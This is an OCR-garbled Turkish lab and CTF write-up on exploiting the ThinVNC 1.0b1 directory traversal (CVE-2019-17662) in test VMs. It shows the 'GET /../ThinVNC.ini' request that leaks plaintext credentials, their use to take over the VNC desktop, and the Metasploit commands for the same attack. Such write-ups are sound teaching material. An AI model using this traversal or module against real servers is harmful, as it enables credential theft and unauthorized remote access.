ThinVNC 1.0b1 Directory Traversal Acikligi ve Somiirme

ThinVNC versiyon 1.0b1 vnc sunucu yaziliminin web arayiiziinde directory traversal agiklig1
duyurulmustur. Bu agikliga gére ThinVNC Server web arayiiziinde sayfay1 isterken gonderilen http
paketindeki ilgili sayfay1 talep eden dizin yolu yerine iist dizindeki ThinVNC Server konfigurasyon
dosyasi dizin yolu talep edilmektedir. Bu sekildeki paket gonderimi sonucu ThinVINC Server web
arayliziinde dizin gezinme agiklig1 var oldugundan dolay1 paket génderimi bagarili olmaktadir ve
talep edilen konfigurasyon dosyasi icerigi yanit olarak gelmektedir.

ThinVNC server’a web arayiiziinden baglanirken kimlik dogrulama asamasinda sordugu gecerli
kullanici adi ve parola bilgileri acik metin halinde ThinVNC Server konfigurasyon dosyasi
iceriginde depolu tutulmaktadir. Dolayisiyla dizin gezinme agiklig1 ile konfigurasyon dosyasi icerigi
yanit olarak alindiginda kimlik dogrulama asamasinda gecerli olan kullanici ad1 ve parola bilgileri
de elde edilmis olmaktadir. Bundan yola ¢ikarak herhangi yabanci bir kimse web tarayicidan
ThinVNC web araytiziinde kimlik dogrulama asamasina geldiginde dizin gezinme agikligini
kullanarak ThinVNC Server konfigurayon dosyasini okuyabilir, kimlik dogrulama asamasinda
istenen gecerli kullanici adi1 ve parola bilgisini elde edebilir ve bu bilgilerle kimlik dogrulama
asamasini gecebilir. Béylece ThinVNC web arayiiziindeki kimlik dogrulama asamasinda kullanilan
bilgilere sahip olmayan herkes kimlik dogrulama agsamasini atlatabilir, web arayiiziinde arka
sayfalara / i¢ sayfalara uzanabilir ve arka sayfalarda / i¢ sayfalarda masaiistii baglantisi kurarak
hedef vnc sunucu sisteme sizabilir.

Uygulama
(+) Birebir denenmistir ve basariyla uygulanmistir.
Gereksinimler

- Firefox Browser - Ubuntu 18.04 LTS Ana Makine // VNC Istemcisi
- ThinVNC Version 1.0b1 - Windows 7 Home Premium VM // Hedef VNC Web
// Sunucusu

(Not: ThinVNC versiyon 1.0b1 kurulum dosyasi ve Windows 7 Home Premium Pro iso’su
~/Downloads/ CTF - 1 - KamuSM 2022 VM Materyaller.zip klasoriinde mevcuttur. Hazir
ThinVNC Server kurulu Windows 7 Home Premium VM ise CTF-1 KamuSM 2022/ seklinde
mevcuttur.)

Bu uygulamada thinvnc web arayiiziinde var olan directory traversal aciklig1 yoluyla thinvnc
konfigurasyon dosyasindan vnc erigim bilgilerini elde etme ve vnc masatistii baglantisi kurarak
ThinVNC server kurulu vim makineye sizma gosterilecektir.

Oncelikle windows 10 pro vimm makineye ThinVNC server’1 kurahm. Bunun igin zip olarak
indirelim ve zip’ten ¢ikaralim.
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ThinVNC klasoriinde bir web/ klasorii vardir ve bir de exe. web/ klasorii vinc sunucusunun web
arayliz dosyalarini icerir. Exe dosyasi ile de vnc web sunucusu ayaga kaldirilir.
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ThinVNC exe dosyasi ile vnc yapilandirmasini acalim ve vnc sunucusunu yapilandiralim, ardindan

vnc web sunucu servisini baglatalim.
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Bu ekranda VINC sunucuya baglanirken kullanilacak kullanici adi ve parola bilgisi ThinVNC Server
Digest yetkilendirmesi secilerek belirlenir.
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Belirlenen kullanici adi ve parola sonras1 ThinVINC server baglatilir.
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ThinVNC server baglatildiginda bir http sunucu port 8080°de ayaga kalkar. Artik ThinVNC web
sunucunun web arayiiziine web tarayicidan erisilebilirdir. Uzaktan bu vnc sunucusunun web
arayliziine erigsebilmek i¢in vnc sunucu makinesinin ip’si alinir.
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=& Select C\Windows\system32\cmd.exe

Microsoft Windows [Version 6.1.76861]
Copyright (c> 2089 Microsoft Corporation. A1l pights reserved.

C:\Users‘user>ipconfig

lindows IP Configuration

[Ethernet adapter Local Area Connection 2:

Connection—specific DNS Suffix H

Link-local IPv6 Address . . . . feBA::3133:2793:d775:F£74ax%16
IPv4 Address. . . . [192.168.57_117]

Subnet Mask s 255.255.255.8

Default Gateway :

Tunnel adapter isatap.{55B2F7E8-03D6-404E-9245-BA41ABACs > :

Media State : Media disconnected
Connection—specific DNS Suffix . @

C:\Usersuser’

DJ(? ﬁl]@@nightctrl

Not:

VM igerisinde localhost:8080’den vnc web arayiiziine erisilememekte. Ancak
ip:8080 ile vnc sunucuya erisilebilmekte. Disardan da ip:8080 ile erisimlerde bir
sorun olmamakta.



Ardindan uzaktan web tarayici ile bu vm makinedeki vnc sunucusuna erisilir.
Ubuntu 18.04 LTS Ana Makine:
http://192.168.201.173:8080 /I http://VMIP:8080

Cikt:

oogle

< > X @ Q, 192.168.57.117:8080 8 @ =

@ 192.168.57.117:8080
This site is asking you to signin.
Username

Password

I

Goriildiigii gibi ana makineden vm makinedeki vnc sunucusu ekranina eristik. Normal sartlarda
yabanci bir kimse bu ekrana geldiginde kullanici adi ve parolay: bilmediginden vnc sunucu
portaline erisemeyecektir. Ancak ThinVNC Server versiyon 1.0b1’lerdeki web arayiiziinde var olan
Directory Traversal aciklig1 nedeniyle ThinVNC Server’in konfigurasyon dosyasi okunabilmekte ve
konfigurasyon dosyasinda ThinVNC server’1n istedigi gecerli kullanici ad1 ve parola bilgileri var
oldugundan bu bilgilerle vnc sunucusu portaline erisilebilmektedir.

Simdi aciklik yoluyla thinvnc konfigurasyon dosyasini okuyabilmek icin web tarayicida burpsuite
ile araya girelim ve thinvnc web sayfasini yeniden talep ederek bir http talebi yakalayalim.
Ardindan bu http talebini vnc konfigurasyon dosyasini talep edecek sekilde degistirelim.
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@ Headers | Hex

GET / HTTP/1.1
l Host: 192.168.57.117:8080
User-Agent: Mozilla/5.0 (X1l; Linux x86_64; rvi95.0) Gecko/20100101 Firefox/95.0
Accept: text/html, application/xhtmlsxml,application/xml ;q=0.5, image/avif, image /webp, */*; g=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade- Insecure-Requests: 1

Password

T

Cancel

.
v

‘Type 2 search term 0 matches

( Sayfa Talep Etme Http Talebi Alinir )

Burp Intruder Repeater Window Help
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Request Response

@ Headers | Hex Raw

GET / HITR/1.1

Host: 192.168.57.117:8080

User-Agent: Mozillay5.@ (X11; Linux xS6_54;
rv:95.0) Gecko/20100101 Firefox,/95.0
Accept:

text/html, application/xhtml+xml, application/xml;q=0.9
,1mage/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Connection: close
Upgrade-Insecure-Requests: 1

e
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Type a search term 0 matches

Type a search ter| 0 matches

Ready

( Sayfa Talep Etme Http Talebi Repeater’a Gonderilir )

Http paketi mevcut bu haldeyken / dizinini, yani kok dizindeki web sayfasim talep etmektedir. Biz
bu dizin yolunu ThinVNC server’in konfigurasyon dosyasi seklinde degistirelim ve konfigurasyon
dosyasini talep edelim.



Burp Intruder Repeater Window Help

[ sequencer | Decoder | comparer | Extender | Projectoptions | Useroptions | Alerts | wsdler |

| Target [ poy | Spider | Scanner [ Intruder I Repeater

1
Go cancel < |v >|r Target: http://192.168.57.117:8080 EJEJ

Request Response

Raw | Headers | Hex Raw

e e T s s
HosT: T158.57-117:8080 r r
User-Agent: Mozilla/S.0 (X11; Linux x86_54;
rv:95.0) Gecko/20100101 Firefox/95.0
Accept:
text/html, application/xhtml+xml, application/xml;q=0.9
,image/avif,image /webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade- Insecure-Requests: 1
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Bu girilen dizin yolunu anlamlandirmak i¢in vm makinedeki VNC kurulum klasériine bir g6z
atalim. VNC kurulum klasériinde web uygulama kok dizini web/ klasorii seklindedir.
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( VNC Web Klasortii

VNC konfigurasyon dosyasi ise web/ klasoriiniin bir iist dizininde yer alir.
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( VNC Konfigurasyon Dosyast )

Http paketinde talep edilen dizin yolu ifadesinde / ifadesi VNC kurulum klasériindeki web/ kok
dizinin icini ifade eder. ../ ifadesi ile o dizinin bir {izerine (yani web/ kok dizininin yukarisina)
cikilir. Ardindan gelinen dizin yolundaki ThinVNC.ini ifadesi ile konfigurasyon dosyas: gosterilir
ve talep edilir.
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Request Response
Raw | Headers | Hex Raw | Headers | Hex
GET /../ThinVNC.ini HTTR/1.1 N HTTP/1.1 200 .
HosTT 1O, To0. 57, 117: 2080 Content-Type: application/binary r
User-Agent: Mozilla/5.0 (X11; Linux x86_64; Content-Length: 143
rv:95.0) Gecko/20100101 Firefox/95.0 Connection: Keep-Alive
Accept:
text/html, application/xhtml+xml, application/xm [authentication]
1;9=0.9,1mage/avif,image/webp, */*;q=0.8 unicode=0
Accept-Language: en-US,en;q=0.5 User=admin
Accept-Encoding: gzip, deflate Password=Qazwsx123.
Connection: close Type=Digest
Upgrade-Insecure-Requests: 1 [Http]
Port=8080
Enabled=1
[Tepl
Port=
[General]
AutoStart=1
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Talep bu sekilde gonderildiginde konfigurasyon dosyasi yanit olarak gelecektir ve vnc sunucusunun
gecerli kullanic1 ad1 ve parola bilgisi konfigurasyon dosyasi okunarak elde edilecektir. Simdi vnc
sunucusuna elde edilen bu bilgilerle eriselim ve vnc sunucusuna masaiistii baglantis1 baslatarak
sizalim.
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( VNC Web Portale Erisilir )
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( VNC Masaiistii Baglantist Baslar )

Bu sekilde hedef vnc sunucusuna baglanilir, masaiistii ekrana gelir ve sizma faaliyeti gerceklesir. Bu
uygulamada hedef vnc sunucusunun web uygulamasindaki directory traversal agikligindan
faydalanarak vnc sunucusu konfigurasyon dosyasi okunmustur ve gecerli kullanici adi ve parola
bilgisi elde edilmistir. Ardindan bu bilgilerle vnc sunucusuna web tarayicidan baglanilmistir ve vnc
sunucusuna masaiistii baglantisi yapilarak sizilmistir.



Ekstra
(+) Birebir denenmistir ve basariyla uygulanmistir.
Gereksinimler

- Metasploit - Kali Linux 2021.2 VM // VNC Istemcisi
- ThinVNC Version 1.0b1 - Windows 7 Home Premium VM // Hedef VNC Web
// Sunucusu

(Not: ThinVNC versiyon 1.0b1 kurulum dosyasi ve Windows 7 Home Premium Pro iso’su ~/
Downloads/ CTF - 1 - KamuSM 2022 VM Materyaller.zip klasériinde mevcuttur. Hazir
ThinVNC Server kurulu Windows 7 Home Premium VM ise CTF-1 KamuSM 2022/ seklinde
mevcuttur.)

Bu uygulamada thinvnc web arayiiziinde var olan directory traversal aciklig1 yoluyla thinvnc
konfigurasyon dosyasindan vnc erigim bilgilerini elde etme ve vnc masatistii baglantisi kurarak
ThinVNC server kurulu vm makineye sizma gosterilecektir. Onceki uygulamaya gére bu
uygulamada vnc web arayiiziindeki directory traversal aciklig1 burpsuite yerine metasploit modiilii
ile somiiriilecektir. Metasploit modiilii ile konfigurasyon dosyasi, oradan da gerceli vnc kullanici adi
ve parolasi elde edilerek vnc web arayiiziinden masaiistii baglantisi baslatilacaktir ve sizma faaliyeti
gerceklestirilecektir.

Oncelikle Kali 2021 VM sanal makinesinde metasploit’i baglatalim, ardindan ThinVNC’deki
directory traversal agikligim1 sémiiren modiilii secelim, konfigure edelim ve calistiralim.

Kali 2021.2 VM:

> service postgresql start

> msfconsole

> use auxiliary/scanner/http/thinvnc_traversal
> set RHOSTS 192.168.201.173

> run

Not: RPORT varsayilan olarak 8080°dir.

Gikti:
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Metasploit modiiliiniin calismasiyla vnc sunucudaki ThinVNC.ini konfigurasyon dosyasi yanit
olarak tipki burpsuite’teki gibi gelecektir. Gecerli kullanici adi1 ve parola bilgisinin yer aldig1
konfigurasyon dosyasi yanit: .txt halinde sistem dizini altinda kayit altina alinacaktir. Bu dizin yolu
modiil ¢iktisinda gosterilmistir. Ayrica gecerli kullanic1 adi ve parola bilgisi konfigurasyon dosyasi
yanitindan cimbizlanarak metasploit modiil ekranina ¢ikt1 olarak yansitilacaktir. Bu da ikinci satir
olarak modiil ¢iktisinda gosterilmistir.

Edinilen gecerli kullanici ad ve parola bilgisi sonrasi vinc web arayiiziinde bilgiler girilerek portale
erisilir ve masaiistii baglantisi yapilarak hedef vnc sunucu makineye sizilir.
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( Elde Edilen Bilgiler Girilir )
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( VNC Web Portale Erisilir )
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( VNC Masaiistii Baglantist Baslar )

Bu sekilde hedef vnc sunucusuna baglanilir, masaiistii ekrana gelir ve sizma faaliyeti gerceklesir. Bu
uygulamada hedef vnc sunucusunun web arayiiziindeki directory traversal acikligi metasploit
modiilii ile somiiriilerek vnc sunucusu konfigurasyon dosyasi alinmistir ve gecerli kullanici adi ve
parola bilgisi elde edilmistir. Ardindan bu bilgilerle vnc sunucusuna web tarayicidan baglamlmigtir
ve vnc sunucusuna masaitistii baglantisi baslatilarak sizilmistir.

Kaynaklar:

https://sourceforge.net/projects/thinvnc/files/ThinVNC 1.0b1/

https://www.webservertalk.com/thinvnc-authentication-bypass-poc/

https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-17662

https://www.rapid7.com/db/modules/auxiliary/scanner/http/thinvnc_traversal/

https://nvd.nist.gov/vuln/detail/CVE-2019-17662
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https://sourceforge.net/projects/thinvnc/files/ThinVNC_1.0b1/

